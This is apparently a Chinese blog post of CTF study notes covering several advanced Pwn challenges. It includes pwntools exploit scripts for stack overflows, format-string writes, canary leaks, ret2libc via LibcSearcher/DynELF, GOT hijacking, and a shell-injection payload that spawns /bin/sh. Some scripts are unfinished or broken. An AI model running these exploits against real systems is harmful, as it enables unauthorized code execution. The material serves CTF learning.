攻防世界 Pwn 進階 第一頁

2020-10-20 13:00:15

00

要把它跟之前新手區的放在一起總結,先稍稍回顧一下新手區。
攻防世界 Pwn 新手
1、棧溢位,從簡單到難,開始有後門函數,到需要自己寫函數引數,到最後的ret2libc。
常見漏洞點有read()函數、gets()函數、strcat()函數等等。
棧溢位在進階區還涉及到了很多,包括一些保護機制的繞過。
2、字串格式化漏洞
在這裡插入圖片描述字串格式化漏洞在新手區只是對記憶體的讀取,修改。
在進階區還要涉及很多高階應用,下面再說。

3、整數溢位
在這裡插入圖片描述

4、指標函數強制轉換漏洞
在這裡插入圖片描述

5、亂數問題

01 monkey

單獨將它放到這裡就是它跟別的都不大一樣……
整了個js庫進來 用了js庫就能執行js函數了
用了那個js庫以後就能執行js函數
長這樣
os.system(‘cat flag’)

發現扔IDA 好像沒啥用
直接扔虛擬機器器執行

from pwn import *
 p = remote('111.198.29.45', 36913)
 elf = ELF(./js)
p.recv()
p.send('os.system(\'cat flag\')')  #這個地方要注意 \'是反義符  就是輸入'  還有js函數左右兩邊的''
#是類似與Sql注入那樣把前面的輸入閉合。
p.interactive()

02 dice_game

亂數
參考新手區那個亂數題就好了

#-*- coding:utf-8 -*-
from pwn import*
from ctypes import*
context.log_level="debug"
r=remote("220.249.52.133",42528)
lib = cdll.LoadLibrary('libc.so.6')
r.recvuntil("name:")#這裡沒有'\n',所以讀一行就有問題 不能recvline()         
payload='A' * 0x40 + p64(0)
payload=payload.ljust(0x50,"C")
r.sendline(payload)
for i in range(50):
    r.sendlineafter("point(1~6): ",str(lib.rand() % 6 + 1))
r.interactive()

03 反應釜

就是最簡單的棧溢位
sprintf
C 庫函數 int sprintf(char *str, const char *format, …) 傳送格式化輸出到 str 所指向的字串。
str – 這是指向一個字元陣列的指標,該陣列儲存了 C 字串。
format – 這是字串,包含了要被寫入到字串 str 的文字。
它可以包含嵌入的 format 標籤,format 標籤可被隨後的附加引數中指定的值替換,並按需求進行格式化。
這題剛開始看那程式碼確實看了一會……研究半天
然後跑一下 發現就那麼回事
然後發現就最最最最最簡單的一個棧溢位……
就個這……

from pwn import*
r=remote("220.249.52.133",48469)
payload = 'A' *  0x208 + p64(0x4005f6)
r.sendlineafter(">",payload)
r.interactive()

04 stack2

陣列索引時沒有檢查邊界
要注意的點不大一樣,這個題裡面注意的是全域性變數,下一個題注意的是函數指標強制轉換函數。

在這裡插入圖片描述

from pwn import*
context.log_level = "debug"
r=remote("220.249.52.133",38633)
r.recvuntil("How many numbers you have:")
r.sendline("1")
r.recvuntil("Give me your numbers")
r.sendline("1")
r.recvuntil("5. exit")
v3address = 0x84
#這個地方的ret比之前的多加了個0x10    因為是主函數而且有全域性變數
#下面那個就是也是主函數,但是沒有全域性變數,他就還是老地方返回函數
def writea(number,address):
    r.sendline('3')
    r.recvuntil("which number to change:")
    r.sendline(str(address))
    r.recvuntil("new number:")
    r.sendline(str(number))
    r.recvuntil("5. exit")
writea(0x50,v3address)
writea(0x84,v3address + 1)
writea(0x04,v3address + 2)
writea(0x08,v3address + 3)
v3address += 8
writea(0x87,v3address)     #這地方就是比較坑那地方
writea(0x89,v3address + 1)
writea(0x04,v3address + 2)
writea(0x08,v3address + 3)
r.sendline('5')
r.interactive()

來一個網上對坑分析比較好的連結

05 forgot

函數指標強制轉換 跟棧溢位
在這裡插入圖片描述

閱讀程式,發現最下面有個函數指標強制轉換漏洞,想辦法利用,發現change選項可以通過陣列的形式修改v3資料。
我感覺像上面那個題的型別題。

from pwn import *

# io=process('./forgot')
io=remote('111.198.29.45',41178)

io.sendline('fuck')
addr=0x80486CC
payload='\x47'*(0x20)+p32(addr)
io.sendline(payload)

io.interactive()

06 warmup

啥也沒給,就是fuzz
fuzz 也就是盲打

from pwn import* 
#context.log_level='debug'
addr=0x40060d
def fuzz(r,num,flag):
	payload='a'*num
	if flag==1:
		payload+=p32(addr)
	if flag==2:
		payload+=p64(addr)
	r.recvuntil(">")
	r.sendline(payload)
def main():
	for i in range(1000):
		print(i)
		for j in range(3):
			try:
				r=remote("111.198.29.45",46588)
				fuzz(r,i,j)
				text=r.recv()
				print('text.len='+str(len(text))+'text='+text)
				print('num='+str(i)+'flag='+str(j))
				r.interactive()
			except:
				r.close()
if__name__=='__main__':
	main()

寫爆破程式的時候,你如果最後用p.interactive() 程式就會卡住,Ctrl+c才能繼續迴圈;建議用p.sendline(‘cat flag’)之類的,然後判斷互動的結果有沒有你想要的值,如果有就interactive(),否則繼續。

07 實時資料監測

就是一個最簡單的字串格式化漏洞 就是數有點大,跑指令碼的時候不知道為啥會跑好一會

但是我看那裡面那個key的值我就覺得好像沒那麼簡單
數太大 %$n 這樣輸入太長了鴨
但還是覺得試試
然後就這樣寫

from pwn import*
context.log_level="debug"
r=remote("220.249.52.133",33732)
payload=p32(0x0804a048) + "%35795742x%$12n"
r.send(payload)
r.interactive()

網上的wp有個這樣的

#coding = utf-8
from pwn import*
#context.log_level="debug"
r=remote("220.249.52.133",33732)
payload = "%35795746x" + "%16$n\x00" + p32(0x804a048)
#payload的構造上有一些不一樣
r.send(payload)
r.interactive()

來一個萬能模板

key_bss_addr =    
key =    
main_addr = 
offset = 
payload = fmtstr_payload(offset,{key_bss_addr:key})

在這個題裡

p = remote()
key == 0x084a048
offset = 12
value = 35795746
payload = fmtstr32(offset,{key:value})
r.sendline(payload)

但是人家正宗的wp用的是字串盲打
下面有兩個連結 參考一下

連結1
連結2

這兩篇文章都太強了,讓我對字串格式化漏洞以及它的盲打有了一個全新的認識,碼住碼住。

08 Mary_Morton

字串格式化漏洞 棧溢位漏洞 還有canary繞過
這個題 繞過是主角
canary繞過大概思路就是先通過格式化字串函數講canary洩露出來
然後棧溢位的時候記得把canary給它寫上
就行
在這裡插入圖片描述
一般程式裡面有canary保護的話就有個這玩意。

在這裡插入圖片描述
上面這個是棧溢位

在這裡插入圖片描述

上面這個是格式化字串漏洞

#coding=utf-8
from pwn import *
 
context.log_level = 'debug'
p = remote('111.198.29.45',56161)
 
p.recvuntil("Exit the battle ")
p.sendline(str(2))#先進入格式化函數洩漏cannary
p.sendline("%23$p")#洩漏cannary  前面那個$別忘了  就是洩露指標偏移23處的資料
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16個位元組  這地方好好看一下
 
p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()

e.g.下面三個題先看這個文章

點這裡
太牛逼了……
都不用我寫啥了
我再把網上的一些wp借鑑一下
再寫一些自己的看法
這三個題都應該有兩種方向吧……
libcsearcher 跟 dynelf
理論上能用system 也能用 execve
上面對前者進行了介紹,這篇文章主要是對後者的說明。

其實他倆是一樣的,都是因為或者沒有給出libc庫,或者給出的庫與伺服器的庫版本不一致,這時候可能庫中的資料偏移不一樣導致出問題。
libcsearcher是用python的類庫代替你要使用的libc庫檔案。還是通過計算基址偏移等獲得相關函數地址。
DynELF通俗的講就是通過程式漏洞洩露出任意地址內容,結合ELF檔案的結構特徵獲取對應版本檔案並計算對比出目標符號在記憶體中的地址。

dynelf主要是需要可以迴圈的地方,一般不都是……有個子函數,函數裡面有個read函數,能夠不停迴圈構成棧溢位。

關於Dynelf的原理探究有一篇很好的文章可以看一下
Dynelf原理

09 pwn1

canary繞過 ret2libc 對puts函數的利用
就是mary跟level3的一個結合題再加一點變化,更上一個層次的話就是直接連libc庫也沒有。
這個格式化字串漏洞是利用的puts

這裡首先要插入一個知識點
32位元與64位元傳參機制不一樣,所以在寫rop鏈時也需要注意,32位元傳參時引數直接就在返回地址前面,而64位元傳參是遵循的規則是:當引數少於7個時, 引數從左到右放入暫存器: rdi, rsi, rdx, rcx, r8, r9,所以就需要我們先在我們的程式裡找到對應的gadget(就是小程式碼的意思),找到合適的pop指令,先執行pop函數,將引數壓入相應的暫存器,在進行函數的呼叫。
有兩種方法去找所需要的gadget。
第一種是在IDA中找相應的pop程式碼可以直接Alt+t查詢pop,進行簡單的篩查,確定合適pop指令。

在確定pop指令的時候,經常不會直接找到pop rdi這種指令一般找到的都是這個
在這裡插入圖片描述
一定要找這種最後帶一個retn返回語句的,不然在執行ROP鏈時執行pop指令後回不到你的ROP鏈。
然後需要用到逆向中的技巧,在這裡調整它的反組合程式碼,具體方法就是選中指令,按d轉換成資料,再找到合適位置按c轉換成指令,尋找我們要的pop指令。
在這裡插入圖片描述
這就是效果圖,這道題就是要pop rdi這個指令,他的地址就是0x400A93。
第二種是用我們的使用小工具,ROPgadget。
關於下載安裝設定環境啥的,我還專門寫了個部落格。
ROPgadget 安裝 錯誤處理 與使用

在這裡插入圖片描述這是效果圖。

e.g. 每次400a70 那裡都會有想要的pop 跟 move 我也不知道為啥…… 就離譜……

e.gg. 這裡在洩露libc裡面的地址可以用之前的常規方法,先洩露system 跟 shell,也可以用這裡的用這個新的小東西,one_gadget 。

e.ggg. 這個題裡面用puts輸出也非常值得被注意

先是用one_gadget的
有了ROPgadget的下載安裝使用,就再來一個one_gadget。
one_gadget 下載安裝與使用

它就是用來查一下動態連結庫裡面的execve函數的,就這。就省的你再去找system函數,還要去找‘/bin/sh’。
還是挺好用的。

然後下面是查到的
在這裡插入圖片描述
wp

from pwn import *
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
p=remote('220.249.52.133',39455)
prdi_addr=0x0400a93
main_addr=0x0400908
one_gadget_addr=0x45216
put_plt=elf.plt['puts']
put_got=elf.got['puts']
p.sendlineafter('>> ','1')
p.sendline('a'*0x88)   
#太坑了吧  這裡因為是puts函數  必須用sendline  因為它讀\n才停
p.sendlineafter('>> ','2')
p.recvuntil('a'*0x88+'\n')
canary=u64(p.recv(7).rjust(8,'\x00'))   
#u64跟p64是反的  這點要注意了
print hex(canary)
p.sendlineafter('>> ','1')
payload='a'*0x88+p64(canary)+'a'*8+p64(prdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)
#一定要在後面返回主函數  
p.sendline(payload)
p.sendlineafter('>> ','3')
put_addr=u64(p.recv(8).ljust(8,'\x00'))
#recv(8)不是接受8個位元組 是最多8個,可能是6個
#所以後面要是不補全,u64函數就可能報錯。
#這裡的ljust跟上面的rjust也不一樣,有講究
#上面那個是canary預設最後一個位元組是00而且被\n覆蓋了,就右對齊
#下面這個是它讀到00停了 ,就左對齊。
print hex(put_addr)
libc_base=put_addr-libc.symbols['puts']
flag=libc_base+one_gadget_addr
p.sendlineafter('>> ','1')
payload1='a'*0x88+p64(canary)+'a'*8+p64(flag)
p.sendline(payload1)
p.sendlineafter('>> ','3')
p.interactive()

以後在虛擬機器器裡跑exp要多跑幾次,我發現它有時候對的exp先後兩次跑結果不一樣,要多嘗試幾次。

首先是關於one_gadget的使用,它的功能是尋找已知libc庫中的execve("/bin/sh")語句,首先要求libc庫是已知的,如果是遠端伺服器,則execve函數跟system沒啥區別,所以就它給了你libc庫,用一用one_gadget就非常方便。

然後還是寫了一下傳統的沒有用one_gadget的
現學現用
在這裡插入圖片描述
嘿嘿嘿,ROPgadget確實好用

#from pwn import*
context.log_level = "debug"
r = remote("220.249.52.133",39455)
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
pop_addr = 0x400a93
main_addr = 0x400908
system_addr = libc.symbols['system']
bin_addr = 0x18cd17
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
print(hex(canary))
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) 
r.recvuntil(">> ")
r.send("1")
r.send(payload1)
r.recvuntil(">> ")
r.send("3")
puts_addr = u64(r.recv(8).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
r.recvuntil(">> ")
payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base)
print(p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base))
r.send("1")
r.send(payload2)
r.recvuntil(">> ")
r.send("3")
r.interactive()

寫好了,可惡,但是過不了,開始查資料……

在這裡插入圖片描述
在這裡插入圖片描述
我吐了……libc是假的?用libcsearcher?
好,試一試。
先來看看什麼是libcsearcher
libcsearcher 安裝 錯誤處理 與使用

然後相應wp

from pwn import*
from LibcSearcher import*

#context.log_level = "debug"

r = remote("220.249.52.133",38049)
elf = ELF('./babystack')
pop_addr = 0x400a93
main_addr = 0x400908
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) 
r.recvuntil(">> ")
r.send("1")
r.send(payload1)
r.recvuntil(">> ")
r.send("3")
puts_addr = u64(r.recv(8).ljust(8,'\x00'))

#下面是libcsearcher的重點地方
libc = LibcSearcher('puts',puts_addr)
#這個是根據puts函數地址來定位基質
libc_base = puts_addr - libc.dump('puts')
system_addr = libc.dump("system")
bin_addr = libc.dump("str_bin_sh")

r.recvuntil(">> ")
payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base)
print(p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base))
r.send("1")
r.send(payload2)
r.recvuntil(">> ")
r.send("3")
r.interactive()

正當我想結束這道題的時候,問題又來了……那講道理是不是也能用Dynelf寫一下呢……
嘗試過後,

from pwn import*
r = remote("220.249.52.133",33391)
elf = ELF("./babystack")
prdi_addr = 0x0400a93
main_addr = 0x0400908
start_addr = 0x400720
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
def leak(addrss):
    payload1 = 'a' * 0x88
    r.sendlineafter(">> ","1")
    r.sendline(payload1)
    r.sendlineafter(">> ","2")
    r.recvuntil('a' * 0x88 + '\n')
    canary = r.recv(7).rjust(8,'\x00')
    payload = 'a' * 0x88 + canary + 'a' * 8 + p64(prdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    r.sendlineafter(">> ","1")
    r.sendline(payload)
    r.sendlineafter(">> ","3")
    data = u64(r.recv(8).ljust(8,'\x00'))
    return data
dynelf = DynELF(leak,elf = ELF("./babystack"))
system_addr = dynelf.lookup("__libc_system", "libc")
r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
r.sendlineafter(">> ","1")
r.send(payload1)
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(system_addr) + 
r.interactive()

npnpnpnpnpnp

10 pwn200

這是Dynelf,抄過來是想寫一點想要的註釋。

from pwn import *
import binascii
p = process("./xdctf-pwn200")
elf = ELF("./xdctf-pwn200")
writeplt = elf.symbols['write']
writegot = elf.got['write']
readplt = elf.symbols['read']
readgot = elf.got['read']
vulnaddress =  0x08048484 
startaddress = 0x080483d0      #呼叫start函數,用以恢復棧
bssaddress =   0x0804a020    #用來寫入「/bin/sh」字串
def leak(address):
  payload = "A" * 112
  payload += p32(writeplt)
  payload += p32(vulnaddress)  
  #這個函數是read函數在的地方,為的是讓它一直返回這裡讀入資料構成棧溢位然後洩露地址。
  payload += p32(1)
  payload += p32(address)
  payload += p32(4)
  p.send(payload)
  data = p.recv(4)
  return data
print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", "libc") 
print "systemAddress:", hex(systemAddress)
#呼叫_start函數,恢復棧
#不恢復行不行?
#大佬是這麼講的……
#在資訊洩露過程中,由於迴圈製造溢位,故可能會導致棧結構發生不可預料的變化,可以嘗試呼叫目標二進位制程式的_start函數來重新開始程式以恢復棧.
#看了很多dynelf  每一個都有恢復棧這個過程,雖然還是不是很清楚為啥……就先這吧……
payload1 = "A" * 112
payload1 += p32(startaddress) 
p.send(payload1)
print p.recv()
ppprAddress = 0x0804856c  #獲取到的連續3次pop操作的gadget的地址 
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(ppprAddress)
payload1 += p32(0)
payload1 += p32(bssaddress)
payload1 += p32(8)
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)
p.send(payload1)
p.send('/bin/sh')
p.interactive()

下面是自己寫的LibcSearcher

from pwn import*
from LibcSearcher import*
context.log_level = "debug"
r = remote("220.249.52.133",42633)
elf = ELF("./pwn200")
write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = 0x080483d0
bss_addr = 0x0804a020
r.recvline()
payload = 'a' * 112
payload += p32(write_plt)
payload += p32(vuln_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
r.send(payload)
write_addr = u32(r.recv())
print(hex(write_addr))
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
print(hex(system_addr))
bin_addr = libc_base + libc.dump("str_bin_addr")
print(hex(bin_addr))
payload2 = 'a' * 112 + p32(system_addr) + p32(vuln_addr) + p32(bin_addr)
r.send(payload2)
r.interactive()

這個題沒有libc庫,Dynelf的話就得要求寫shellcode,LibcSearcher的話就用不著。

11 pwn100

這是Dynelf
要記得64位元引數傳遞順序是rdi, rsi, rdx, rcx, r8, r9

from pwn import *
import binascii
p = process("./pwn100")
elf = ELF("./pwn100")
readplt = elf.symbols['read']
readgot = elf.got['read']
putsplt = elf.symbols['puts']
putsgot = elf.got['puts']
mainaddress =   0x4006b8
startaddress =   0x400550
poprdi =  0x400763
pop6address  =  0x40075a   
movcalladdress = 0x400740   
#這裡pop一個可以,但是pop6個的話指令不在一起,需要這個mov這裡的函數幫忙,兩個地方一起實現修改暫存器中的值為引數。
waddress =  0x601000
def leak(address):
  count = 0
  data = ''
  payload = "A" * 64 + "A" * 8
  payload += p64(poprdi) + p64(address)
  payload += p64(putsplt)
  payload += p64(startaddress)
  payload = payload.ljust(200, "B")
  p.send(payload)
  print p.recvuntil('bye~n')
  up = ""
  while True:
    c = p.recv(numb=1, timeout=0.5)
    count += 1
    if up == 'n' and c == "":
      data = data[:-1]
      data += "x00"
      break
    else:
      data += c
    up = c
  data = data[:4]
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data
d = DynELF(leak, elf=ELF('./pwn100'))
systemAddress = d.lookup('__libc_system', 'libc')
print "systemAddress:", hex(systemAddress)
print "-----------write /bin/sh to bss--------------"
payload1 = "A" * 64 + "A" * 8
payload1 += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(waddress) + p64(0)
payload1 += p64(movcalladdress)
payload1 += 'x00'*56  #這裡加的56個這東西
payload1 += p64(startaddress)
payload1 =  payload1.ljust(200, "B")
p.send(payload1)
print p.recvuntil('bye~n')
p.send("/bin/shx00")
print "-----------get shell--------------"
payload2 = "A" * 64 + "A" * 8
payload2 += p64(poprdi) + p64(waddress)
payload2 += p64(systemAddress)
payload2 += p64(startaddress)
payload2 =  payload2.ljust(200, "B")
#這裡補充道200
p.send(payload2)
p.interactive()

這個題感覺就LibcSearcher更簡單一點了,畢竟只要洩露一下puts的地址就可以了,所以我突然感覺……Dynelf好處是不是不是那麼的明顯?

12 welpwn

LibcSearcher

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
context.log_level  = 'debug'  
sh = process('./pwnh13')  
#sh = remote('111.198.29.45',51867)  
elf = ELF('./pwnh13')  
write_got = elf.got['write']  
puts_plt = elf.plt['puts']  
#此處有4條pop指令,用於跳過24位元組  
pop_24 = 0x40089C  
#pop rdi的地址,用來傳參,具體看x64的傳參方式  
pop_rdi = 0x4008A3  
sh.recvuntil('Welcome to RCTF\n')  
main_addr = 0x4007CD  
#本題的溢位點在echo函數裡,然而,當遇到0,就停止了資料的複製,因此我們需要pop_24來跳過24個位元組  
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)  
sh.send(payload)  
sh.recvuntil('\x40')  
#洩露write地址  
write_addr = u64(sh.recv(6).ljust(8,'\x00'))  
libc = LibcSearcher('write',write_addr)  
#獲取libc載入地址  
libc_base = write_addr - libc.dump('write')  
#獲取system地址  
system_addr = libc_base + libc.dump('system')  
#獲取/bin/sh地址  
binsh_addr = libc_base + libc.dump('str_bin_sh')  
sh.recvuntil('\n')  
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  
sh.send(payload)  
sh.interactive()  

下面這個是Dynelf

#!/usr/bin/env python
from pwn import *
p=remote('111.198.29.45',41724)
elf=ELF('./welpwn')
write_plt=elf.symbols['write']
read_got=elf.got['read']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x0400630
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
def leak(address):
    print p.recv(1024)
    payload1='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(address)+p64(1)+p64(mov_addr)+'A'*56+p64(start_addr)
    payload1=payload1.ljust(1024,'C')
    p.send(payload1)
    data=p.recv(8)
    #print "%x => %s" % (address, (data or '').encode('hex'))
    return data
d=DynELF(leak,elf=ELF('./welpwn'))
sys_addr=d.lookup('system','libc')
print hex(sys_addr)
bss_addr=elf.bss()
prdi_addr=0x04008a3
print p.recv(1024)
payload2='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bss_addr)+p64(0)+p64(mov_addr)+'A'*56+p64(prdi_addr)+p64(bss_addr)+p64(sys_addr)+'a'*8
payload2=payload2.ljust(1024,'C')
p.send(payload2)
p.sendline('/bin/sh\x00')
p.interactive()

13 Recho

漏洞點:申請字串空間小於允許讀入的字串個數導致緩衝區溢位

三個考察點

ROP鏈構造
Got表劫持
pwntools的shutdown功能

一些基礎知識

兩個函數
atoi()
C 庫函數 int atoi(const char *str) 把引數 str 所指向的字串轉換為一個整數(型別為 int 型)。
read()函數返回值
大概的意思就是read函數從檔案描述符fd中讀取位元組到count大小的buf中,如果成功讀取的話,返回讀到的位元組數大小,否則返回-1.

三個知識
函數引數傳遞順序
當引數少於7個時, 引數從左到右放入暫存器: rdi, rsi, rdx, rcx, r8, r9
shutdown(‘send’)跳出函數無線迴圈
rax暫存器在構造exp中,可用於劫持got表,呼叫系統序號函數。

在這裡插入圖片描述
沒有檢查陣列長度,導致溢位了。

我不可能講的比這個再好了。

我小小的補充一點東西,那裡面所有尋找gadget都是通過IDA找的,我想在這裡試一下用ROPgadget。

在這裡插入圖片描述

在這裡插入圖片描述
ROPgadget還是頂啊。

想嘗試一下用其他暫存器,但是找半天發現,好像確實就rdi能實現。

下面這是正版WP

from pwn import *
# io = process('./Recho')
io = remote('111.198.29.45',41375)
elf = ELF('./Recho')
context.log_level = 'debug'
pop_rdi = 0x4008a3
pop_rdx = 0x4006fe
pop_rax = 0x4006fc
pop_rsi_r15 = 0x4008a1
rdi_add = 0x40070d
flag_addr = elf.symbols['flag'] 
read_got = elf.got['read']

# bss = 0x601090
bss = elf.bss()  #兩者都可以
#這個地方要注意  這玩意還是很實用的
read_plt = elf.plt['read']
write_plt = elf.plt['write']
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
print 'flag: ',hex(flag_addr)


payload = 'A'*0x30  #覆蓋buf[40]; // [rsp+10h] [rbp-30h] 
payload +='A'*0x08 #覆蓋 rbp
#alarm GOT表劫持到syscall位置
payload += p64(pop_rax)+p64(0x5)
payload += p64(pop_rdi)+p64(alarm_got)
payload += p64(rdi_add)  
# -------fd=open('flag',READONLY)-----

payload += p64(pop_rdi)+p64(flag_addr)  #rdi='flag

payload += p64(pop_rsi_r15)+p64(0)+p64(0) #rsi=0(READONLY)
payload += p64(pop_rdx)+p64(0) # rdx = 0
payload += p64(pop_rax)+p64(0x2) # rax=2,open的呼叫號為2
# 執行alarm完成GOT表劫持,syscall的傳參順序是rdi,rsi,rdx,r10,r9,r8

payload += p64(alarm_plt) 
# 將flag傳回的值寫入到bss段 read(fd,stdin_buffer,100)
payload += p64(pop_rdi)+p64(3) #open()開啟檔案返回的檔案描述符一般從3開始,系統環境不一樣也可能不是3,依次順序增加
payload += p64(pop_rdx)+p64(0x2d) #指定長度
payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi =寫入的地址,用於存取open結果
payload += p64(read_plt)
#輸出flag值,write(1,bss,0x40),也可以用print函數
payload += p64(pop_rsi_r15)+p64(bss)+p64(0)
payload += p64(pop_rdx)+p64(0x40)
payload += p64(pop_rdi)+p64(0x01)
payload += p64(write_plt)
# 用printf 函數時,要注意bss段的可寫性,bss此時應改為0x601090或者0x601070
#payload+=p64(pop_rdi)+p64(bss)+p64(printf_plt)  

io.sendline(str(0x200))
# log.info('the length of payload is:',format(hex(len(payload))))
print 'the length of payload is:',format(hex(len(payload)))
payload = payload.ljust(0x200,'\x00')
io.send(payload)
io.recv()
io.shutdown('send')
io.interactive()

14 greeting-150

字串格式化漏洞 GOT表劫持 覆蓋.fini_array
說點理解
字串格式化漏洞從剛開始的任意寫,到了後面任意讀,讀出想要的各種地址,但是有個必須條件,就是程式能夠迴圈讀,只有這樣才能讀的多,才能將漏洞利用起來。
所以如何利用這個漏洞將程式設計的可以迴圈,是這個題的重點。
因為沒有後門函數,也沒有棧溢位啥的,就只能劫持GOT表來。
這裡是三篇非常棒的參考文章。
1 wp

2 wp

3 原理

這個題我研究半天的地方在它為啥要把地址拆成兩半兩個位元組兩個位元組的進行傳值。

from pwn import *
context.log_level='debug'
#io=remote("111.198.29.45",47611)
io=process("./greeting-150")
elf=ELF("./greeting-150")
strlen_got=elf.got['strlen']
fini_got=0x08049934
start_addr=0x80484f0
system_plt = 0x8048490 
payload="aa"   #這對齊別忘了
payload+=p32(strlen_got+2)
payload+=p32(fini_got+2)
payload+=p32(strlen_got)
payload+=p32(fini_got)
payload+="%2016c%12$hn%13$hn" 
#但是這個就好特殊啊……就是要一直數到這行完了   /黑人問號   
#先記著吧……挺特殊的
#難道是因為一次輸兩個??
payload+="%31884c%14$hn" #這裡就是直接加前面的2052
payload+="%96c%15$hn"  #這裡也是直接加前面的31884
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

printf函數實際上只是輸出到了標準輸出緩衝佇列上,並沒有實實在在的列印到螢幕上,標準輸出是行緩衝機制,也就是說,遇到\n,就會重新整理緩衝區,輸出到螢幕上。

說到分開的話就是如果%$n前面有多少位元組才往目標地址寫多少,所以你寫個啥%1242131x它是需要申請這麼多緩衝空間的,空間多容易出事,也浪費記憶體,降低效率。

15 time_formatter

下面開始了堆的漏洞
首先是uaf
這個題就是uaf的第一個題
第一個函數跟進裡面有個strdup()函數,
strdup()說明:返回指向被複制的字串的指標,所需空間由malloc()分配且可以由free()釋放。
這裡就是通過malloc()給ptr分配空間

C 庫函數 size_t strcspn(const char *str1, const char *str2) 檢索字串 str1 開頭連續有幾個字元都不含字串 str2 中的字元。

/bin/date -d @%d +'%s'
這看起來像一個命令注入,但由於時間戳為%d,format字串經過一系列過濾,我們不能在那裡注入什麼。
但是時區設定可以沒有限制的呼叫
可以看到3個功能都是通過strdup分配的空間,而且程式在輸入5退出時並沒有清除指標,這就有了一個UAF
如果我們能通過UAF使得set_time_zone分配得到的是set_format釋放掉的記憶體,那麼就能成功繞過對字串的過濾
先呼叫set_format,這時我們輸入的字串需要是合法的,這樣才能將指標拷貝到bss上的全域性變數上呼叫exit,製造懸掛指標
最後再設定時區,複用chunk(由於format指標是先free的,所以只用設定一次時區)

關於4選項裡面的snprintf函數以及時間格式化找了一點資料供參考。

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
這是網上的兩種繞過方式。
set_zone(’%Y’;cat flag’’)
p.sendline("’;/bin/sh #")

這是要繞過,這麼繞需要知道一個知識點
在linuxshell中,假如有如下語句,這就是shell注入方面echo ‘’;ls;cat 1.txt;/bin/sh;’’則ls、cat 1.txt、/bin/sh這三個命令會依次執行,這也就是本題突破的關鍵

格式化字串後的command就是/bin/date -d @0 + ‘’;/bin/sh’’

有兩個小坑

在這裡插入圖片描述

寫好exp以後發現過程有點問題,發現多了兩句話,如上圖,IDA裡面沒有直接顯示這兩句話,開始找。

在這裡插入圖片描述
在這裡插入圖片描述
發現用了這種手法將其寫出來,所以IDA 裡面沒有直接的提示。

在這裡插入圖片描述
下面還有一個類似的

這就提示我們以後還是把程式試一試,少走這坑。

下面是完整exp

#-*-coding: utf-8-*-
from pwn import *

p = remote('220.249.52.133',55829)
#p = process('./time_formatter')

print p.recvuntil('> ')
p.sendline('1')
print p.recvuntil('Format: ')
p.sendline('%F')

print p.recvuntil('> ')
p.sendline('5')
print p.recvuntil('Are you sure you want to exit (y/N)? ')
p.sendline('N')

print p.recvuntil('> ')
p.sendline('3')
print p.recvuntil('Time zone: ')
p.sendline("';/bin/sh #")
print p.recvuntil('> ')
p.sendline('4')
p.interactive()

16 note-servive2

陣列下標越界 GOT表劫持 堆shellcode
漏洞點:沒有檢查陣列越界

在這裡插入圖片描述
分析一下,輸入個序號,然後有個陣列,然後向那個陣列裡對應的序號地方存資訊,然後又沒有檢查陣列,就漏洞點出來了。

